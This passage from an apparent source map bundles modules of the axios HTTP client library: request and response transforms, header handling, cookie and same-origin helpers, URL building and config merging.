});\n  }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n  silentJSONParsing: true,\n  forcedJSONParsing: true,\n  clarifyTimeoutError: false\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n  isBrowser: true,\n  classes: {\n    URLSearchParams,\n    FormData,\n    Blob\n  },\n  protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n *  typeof window -> undefined\n *  typeof document -> undefined\n *\n * react-native:\n *  navigator.product -> 'ReactNative'\n * nativescript\n *  navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n  (product) => {\n    return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n  })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n  return (\n    typeof WorkerGlobalScope !== 'undefined' &&\n    // eslint-disable-next-line no-undef\n    self instanceof WorkerGlobalScope &&\n    typeof self.importScripts === 'function'\n  );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n  hasBrowserEnv,\n  hasStandardBrowserWebWorkerEnv,\n  hasStandardBrowserEnv,\n  origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n  ...utils,\n  ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n  return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n    visitor: function(value, key, path, helpers) {\n      if (platform.isNode && utils.isBuffer(value)) {\n        this.append(key, value.toString('base64'));\n        return false;\n      }\n\n      return helpers.defaultVisitor.apply(this, arguments);\n    }\n  }, options));\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n  // foo[x][y][z]\n  // foo.x.y.z\n  // foo-x-y-z\n  // foo x y z\n  return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n    return match[0] === '[]' ? '' : match[1] || match[0];\n  });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n  const obj = {};\n  const keys = Object.keys(arr);\n  let i;\n  const len = keys.length;\n  let key;\n  for (i = 0; i < len; i++) {\n    key = keys[i];\n    obj[key] = arr[key];\n  }\n  return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n  function buildPath(path, value, target, index) {\n    let name = path[index++];\n\n    if (name === '__proto__') return true;\n\n    const isNumericKey = Number.isFinite(+name);\n    const isLast = index >= path.length;\n    name = !name && utils.isArray(target) ? target.length : name;\n\n    if (isLast) {\n      if (utils.hasOwnProp(target, name)) {\n        target[name] = [target[name], value];\n      } else {\n        target[name] = value;\n      }\n\n      return !isNumericKey;\n    }\n\n    if (!target[name] || !utils.isObject(target[name])) {\n      target[name] = [];\n    }\n\n    const result = buildPath(path, value, target[name], index);\n\n    if (result && utils.isArray(target[name])) {\n      target[name] = arrayToObject(target[name]);\n    }\n\n    return !isNumericKey;\n  }\n\n  if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n    const obj = {};\n\n    utils.forEachEntry(formData, (name, value) => {\n      buildPath(parsePropPath(name), value, obj, 0);\n    });\n\n    return obj;\n  }\n\n  return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n  if (utils.isString(rawValue)) {\n    try {\n      (parser || JSON.parse)(rawValue);\n      return utils.trim(rawValue);\n    } catch (e) {\n      if (e.name !== 'SyntaxError') {\n        throw e;\n      }\n    }\n  }\n\n  return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n  transitional: transitionalDefaults,\n\n  adapter: ['xhr', 'http', 'fetch'],\n\n  transformRequest: [function transformRequest(data, headers) {\n    const contentType = headers.getContentType() || '';\n    const hasJSONContentType = contentType.indexOf('application/json') > -1;\n    const isObjectPayload = utils.isObject(data);\n\n    if (isObjectPayload && utils.isHTMLForm(data)) {\n      data = new FormData(data);\n    }\n\n    const isFormData = utils.isFormData(data);\n\n    if (isFormData) {\n      return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n    }\n\n    if (utils.isArrayBuffer(data) ||\n      utils.isBuffer(data) ||\n      utils.isStream(data) ||\n      utils.isFile(data) ||\n      utils.isBlob(data) ||\n      utils.isReadableStream(data)\n    ) {\n      return data;\n    }\n    if (utils.isArrayBufferView(data)) {\n      return data.buffer;\n    }\n    if (utils.isURLSearchParams(data)) {\n      headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n      return data.toString();\n    }\n\n    let isFileList;\n\n    if (isObjectPayload) {\n      if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n        return toURLEncodedForm(data, this.formSerializer).toString();\n      }\n\n      if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n        const _FormData = this.env && this.env.FormData;\n\n        return toFormData(\n          isFileList ? {'files[]': data} : data,\n          _FormData && new _FormData(),\n          this.formSerializer\n        );\n      }\n    }\n\n    if (isObjectPayload || hasJSONContentType ) {\n      headers.setContentType('application/json', false);\n      return stringifySafely(data);\n    }\n\n    return data;\n  }],\n\n  transformResponse: [function transformResponse(data) {\n    const transitional = this.transitional || defaults.transitional;\n    const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n    const JSONRequested = this.responseType === 'json';\n\n    if (utils.isResponse(data) || utils.isReadableStream(data)) {\n      return data;\n    }\n\n    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n      const silentJSONParsing = transitional && transitional.silentJSONParsing;\n      const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n      try {\n        return JSON.parse(data);\n      } catch (e) {\n        if (strictJSONParsing) {\n          if (e.name === 'SyntaxError') {\n            throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n          }\n          throw e;\n        }\n      }\n    }\n\n    return data;\n  }],\n\n  /**\n   * A timeout in milliseconds to abort a request. If set to 0 (default) a\n   * timeout is not created.\n   */\n  timeout: 0,\n\n  xsrfCookieName: 'XSRF-TOKEN',\n  xsrfHeaderName: 'X-XSRF-TOKEN',\n\n  maxContentLength: -1,\n  maxBodyLength: -1,\n\n  env: {\n    FormData: platform.classes.FormData,\n    Blob: platform.classes.Blob\n  },\n\n  validateStatus: function validateStatus(status) {\n    return status >= 200 && status < 300;\n  },\n\n  headers: {\n    common: {\n      'Accept': 'application/json, text/plain, */*',\n      'Content-Type': undefined\n    }\n  }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n  defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n  'age', 'authorization', 'content-length', 'content-type', 'etag',\n  'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n  'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n  'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n  const parsed = {};\n  let key;\n  let val;\n  let i;\n\n  rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n    i = line.indexOf(':');\n    key = line.substring(0, i).trim().toLowerCase();\n    val = line.substring(i + 1).trim();\n\n    if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n      return;\n    }\n\n    if (key === 'set-cookie') {\n      if (parsed[key]) {\n        parsed[key].push(val);\n      } else {\n        parsed[key] = [val];\n      }\n    } else {\n      parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n    }\n  });\n\n  return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n  return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n  if (value === false || value == null) {\n    return value;\n  }\n\n  return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n  const tokens = Object.create(null);\n  const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n  let match;\n\n  while ((match = tokensRE.exec(str))) {\n    tokens[match[1]] = match[2];\n  }\n\n  return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n  if (utils.isFunction(filter)) {\n    return filter.call(this, value, header);\n  }\n\n  if (isHeaderNameFilter) {\n    value = header;\n  }\n\n  if (!utils.isString(value)) return;\n\n  if (utils.isString(filter)) {\n    return value.indexOf(filter) !== -1;\n  }\n\n  if (utils.isRegExp(filter)) {\n    return filter.test(value);\n  }\n}\n\nfunction formatHeader(header) {\n  return header.trim()\n    .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n      return char.toUpperCase() + str;\n    });\n}\n\nfunction buildAccessors(obj, header) {\n  const accessorName = utils.toCamelCase(' ' + header);\n\n  ['get', 'set', 'has'].forEach(methodName => {\n    Object.defineProperty(obj, methodName + accessorName, {\n      value: function(arg1, arg2, arg3) {\n        return this[methodName].call(this, header, arg1, arg2, arg3);\n      },\n      configurable: true\n    });\n  });\n}\n\nclass AxiosHeaders {\n  constructor(headers) {\n    headers && this.set(headers);\n  }\n\n  set(header, valueOrRewrite, rewrite) {\n    const self = this;\n\n    function setHeader(_value, _header, _rewrite) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!lHeader) {\n        throw new Error('header name must be a non-empty string');\n      }\n\n      const key = utils.findKey(self, lHeader);\n\n      if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n        self[key || _header] = normalizeValue(_value);\n      }\n    }\n\n    const setHeaders = (headers, _rewrite) =>\n      utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n    if (utils.isPlainObject(header) || header instanceof this.constructor) {\n      setHeaders(header, valueOrRewrite)\n    } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n      setHeaders(parseHeaders(header), valueOrRewrite);\n    } else if (utils.isHeaders(header)) {\n      for (const [key, value] of header.entries()) {\n        setHeader(value, key, rewrite);\n      }\n    } else {\n      header != null && setHeader(valueOrRewrite, header, rewrite);\n    }\n\n    return this;\n  }\n\n  get(header, parser) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      if (key) {\n        const value = this[key];\n\n        if (!parser) {\n          return value;\n        }\n\n        if (parser === true) {\n          return parseTokens(value);\n        }\n\n        if (utils.isFunction(parser)) {\n          return parser.call(this, value, key);\n        }\n\n        if (utils.isRegExp(parser)) {\n          return parser.exec(value);\n        }\n\n        throw new TypeError('parser must be boolean|regexp|function');\n      }\n    }\n  }\n\n  has(header, matcher) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n    }\n\n    return false;\n  }\n\n  delete(header, matcher) {\n    const self = this;\n    let deleted = false;\n\n    function deleteHeader(_header) {\n      _header = normalizeHeader(_header);\n\n      if (_header) {\n        const key = utils.findKey(self, _header);\n\n        if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n          delete self[key];\n\n          deleted = true;\n        }\n      }\n    }\n\n    if (utils.isArray(header)) {\n      header.forEach(deleteHeader);\n    } else {\n      deleteHeader(header);\n    }\n\n    return deleted;\n  }\n\n  clear(matcher) {\n    const keys = Object.keys(this);\n    let i = keys.length;\n    let deleted = false;\n\n    while (i--) {\n      const key = keys[i];\n      if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n        delete this[key];\n        deleted = true;\n      }\n    }\n\n    return deleted;\n  }\n\n  normalize(format) {\n    const self = this;\n    const headers = {};\n\n    utils.forEach(this, (value, header) => {\n      const key = utils.findKey(headers, header);\n\n      if (key) {\n        self[key] = normalizeValue(value);\n        delete self[header];\n        return;\n      }\n\n      const normalized = format ? formatHeader(header) : String(header).trim();\n\n      if (normalized !== header) {\n        delete self[header];\n      }\n\n      self[normalized] = normalizeValue(value);\n\n      headers[normalized] = true;\n    });\n\n    return this;\n  }\n\n  concat(...targets) {\n    return this.constructor.concat(this, ...targets);\n  }\n\n  toJSON(asStrings) {\n    const obj = Object.create(null);\n\n    utils.forEach(this, (value, header) => {\n      value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n    });\n\n    return obj;\n  }\n\n  [Symbol.iterator]() {\n    return Object.entries(this.toJSON())[Symbol.iterator]();\n  }\n\n  toString() {\n    return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n  }\n\n  get [Symbol.toStringTag]() {\n    return 'AxiosHeaders';\n  }\n\n  static from(thing) {\n    return thing instanceof this ? thing : new this(thing);\n  }\n\n  static concat(first, ...targets) {\n    const computed = new this(first);\n\n    targets.forEach((target) => computed.set(target));\n\n    return computed;\n  }\n\n  static accessor(header) {\n    const internals = this[$internals] = (this[$internals] = {\n      accessors: {}\n    });\n\n    const accessors = internals.accessors;\n    const prototype = this.prototype;\n\n    function defineAccessor(_header) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!accessors[lHeader]) {\n        buildAccessors(prototype, _header);\n        accessors[lHeader] = true;\n      }\n    }\n\n    utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n    return this;\n  }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n  let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n  return {\n    get: () => value,\n    set(headerValue) {\n      this[mapped] = headerValue;\n    }\n  }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n  const config = this || defaults;\n  const context = response || config;\n  const headers = AxiosHeaders.from(context.headers);\n  let data = context.data;\n\n  utils.forEach(fns, function transform(fn) {\n    data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n  });\n\n  headers.normalize();\n\n  return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n  return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n  this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n  __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n  const validateStatus = response.config.validateStatus;\n  if (!response.status || !validateStatus || validateStatus(response.status)) {\n    resolve(response);\n  } else {\n    reject(new AxiosError(\n      'Request failed with status code ' + response.status,\n      [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n      response.config,\n      response.request,\n      response\n    ));\n  }\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n  const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n  return match && match[1] || '';\n}\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n  samplesCount = samplesCount || 10;\n  const bytes = new Array(samplesCount);\n  const timestamps = new Array(samplesCount);\n  let head = 0;\n  let tail = 0;\n  let firstSampleTS;\n\n  min = min !== undefined ? min : 1000;\n\n  return function push(chunkLength) {\n    const now = Date.now();\n\n    const startedAt = timestamps[tail];\n\n    if (!firstSampleTS) {\n      firstSampleTS = now;\n    }\n\n    bytes[head] = chunkLength;\n    timestamps[head] = now;\n\n    let i = tail;\n    let bytesCount = 0;\n\n    while (i !== head) {\n      bytesCount += bytes[i++];\n      i = i % samplesCount;\n    }\n\n    head = (head + 1) % samplesCount;\n\n    if (head === tail) {\n      tail = (tail + 1) % samplesCount;\n    }\n\n    if (now - firstSampleTS < min) {\n      return;\n    }\n\n    const passed = startedAt && now - startedAt;\n\n    return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n  };\n}\n\nexport default speedometer;\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n  let timestamp = 0;\n  const threshold = 1000 / freq;\n  let timer = null;\n  return function throttled() {\n    const force = this === true;\n\n    const now = Date.now();\n    if (force || now - timestamp > threshold) {\n      if (timer) {\n        clearTimeout(timer);\n        timer = null;\n      }\n      timestamp = now;\n      return fn.apply(null, arguments);\n    }\n    if (!timer) {\n      timer = setTimeout(() => {\n        timer = null;\n        timestamp = Date.now();\n        return fn.apply(null, arguments);\n      }, threshold - (now - timestamp));\n    }\n  };\n}\n\nexport default throttle;\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n  let bytesNotified = 0;\n  const _speedometer = speedometer(50, 250);\n\n  return throttle(e => {\n    const loaded = e.loaded;\n    const total = e.lengthComputable ? e.total : undefined;\n    const progressBytes = loaded - bytesNotified;\n    const rate = _speedometer(progressBytes);\n    const inRange = loaded <= total;\n\n    bytesNotified = loaded;\n\n    const data = {\n      loaded,\n      total,\n      progress: total ? (loaded / total) : undefined,\n      bytes: progressBytes,\n      rate: rate ? rate : undefined,\n      estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n      event: e,\n      lengthComputable: total != null\n    };\n\n    data[isDownloadStream ? 'download' : 'upload'] = true;\n\n    listener(data);\n  }, freq);\n}\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n  (function standardBrowserEnv() {\n    const msie = /(msie|trident)/i.test(navigator.userAgent);\n    const urlParsingNode = document.createElement('a');\n    let originURL;\n\n    /**\n    * Parse a URL to discover its components\n    *\n    * @param {String} url The URL to be parsed\n    * @returns {Object}\n    */\n    function resolveURL(url) {\n      let href = url;\n\n      if (msie) {\n        // IE needs attribute set twice to normalize properties\n        urlParsingNode.setAttribute('href', href);\n        href = urlParsingNode.href;\n      }\n\n      urlParsingNode.setAttribute('href', href);\n\n      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n      return {\n        href: urlParsingNode.href,\n        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n        host: urlParsingNode.host,\n        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n        hostname: urlParsingNode.hostname,\n        port: urlParsingNode.port,\n        pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n          urlParsingNode.pathname :\n          '/' + urlParsingNode.pathname\n      };\n    }\n\n    originURL = resolveURL(window.location.href);\n\n    /**\n    * Determine if a URL shares the same origin as the current location\n    *\n    * @param {String} requestURL The URL to test\n    * @returns {boolean} True if URL shares the same origin, otherwise false\n    */\n    return function isURLSameOrigin(requestURL) {\n      const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n      return (parsed.protocol === originURL.protocol &&\n          parsed.host === originURL.host);\n    };\n  })() :\n\n  // Non standard browser envs (web workers, react-native) lack needed support.\n  (function nonStandardBrowserEnv() {\n    return function isURLSameOrigin() {\n      return true;\n    };\n  })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n  // Standard browser envs support document.cookie\n  {\n    write(name, value, expires, path, domain, secure) {\n      const cookie = [name + '=' + encodeURIComponent(value)];\n\n      utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n      utils.isString(path) && cookie.push('path=' + path);\n\n      utils.isString(domain) && cookie.push('domain=' + domain);\n\n      secure === true && cookie.push('secure');\n\n      document.cookie = cookie.join('; ');\n    },\n\n    read(name) {\n      const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n      return (match ? decodeURIComponent(match[3]) : null);\n    },\n\n    remove(name) {\n      this.write(name, '', Date.now() - 86400000);\n    }\n  }\n\n  :\n\n  // Non-standard browser env (web workers, react-native) lack needed support.\n  {\n    write() {},\n    read() {\n      return null;\n    },\n    remove() {}\n  };\n\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n  // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n  // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n  // by any combination of letters, digits, plus, period, or hyphen.\n  return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n  return relativeURL\n    ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n    : baseURL;\n}\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n  if (baseURL && !isAbsoluteURL(requestedURL)) {\n    return combineURLs(baseURL, requestedURL);\n  }\n  return requestedURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n  // eslint-disable-next-line no-param-reassign\n  config2 = config2 || {};\n  const config = {};\n\n  function getMergedValue(target, source, caseless) {\n    if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n      return utils.merge.call({caseless}, target, source);\n    } else if (utils.isPlainObject(source)) {\n      return utils.merge({}, source);\n    } else if (utils.isArray(source)) {\n      return source.slice();\n    }\n    return source;\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDeepProperties(a, b, caseless) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(a, b, caseless);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a, caseless);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function valueFromConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function defaultToConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDirectKeys(a, b, prop) {\n    if (prop in config2) {\n      return getMergedValue(a, b);\n    } else if (prop in config1) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  const mergeMap = {\n    url: valueFromConfig2,\n    method: valueFromConfig2,\n    data: valueFromConfig2,\n    baseURL: defaultToConfig2,\n    transformRequest: defaultToConfig2,\n    transformResponse: defaultToConfig2,\n    paramsSerializer: defaultToConfig2,\n    timeout: defaultToConfig2,\n    timeoutMessage: defaultToConfig2,\n    withCredentials: defaultToConfig2,\n    withXSRFToken: defaultToConfig2,\n    adapter: defaultToConfig2,\n    responseType: defaultToConfig2,\n    xsrfCookieName: defaultToConfig2,\n    xsrfHeaderName: defaultToConfig2,\n    onUploadProgress: defaultToConfig2,\n    onDownloadProgress: defaultToConfig2,\n    decompress: defaultToConfig2,\n    maxContentLength: defaultToConfig2,\n    maxBodyLength: defaultToConfig2,\n    beforeRedirect: defaultToConfig2,\n    transport: defaultToConfig2,\n    httpAgent: defaultToConfig2,\n    httpsAgent: defaultToConfig2,\n    cancelToken: defaultToConfig2,\n    socketPath: defaultToConfig2,\n    responseEncoding: defaultToConfig2,\n    validateStatus: mergeDirectKeys,\n    headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n  };\n\n  utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n    const merge = mergeMap[prop] || mergeDeepProperties;\n    const configValue = merge(config1[prop], config2[prop], prop);\n    (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n  });\n\n  return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n  const newConfig = mergeConfig({}, config);\n\n  let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n  newConfig.headers = headers = AxiosHeaders.from(headers);\n\n  newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n  // HTTP basic authentication\n  if (auth) {\n    headers.set('Authorization', 'Basic ' +\n      btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n    );\n  }\n\n  let contentType;\n\n  if (utils.isFormData(data)) {\n    if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n      headers.setContentType(undefined); // Let the browser set it\n    } else if ((contentType = headers.getContentType()) !== false) {\n      // fix semicolon duplication issue for ReactNative FormData implementation\n      const [type, ...tokens] = contentType ? 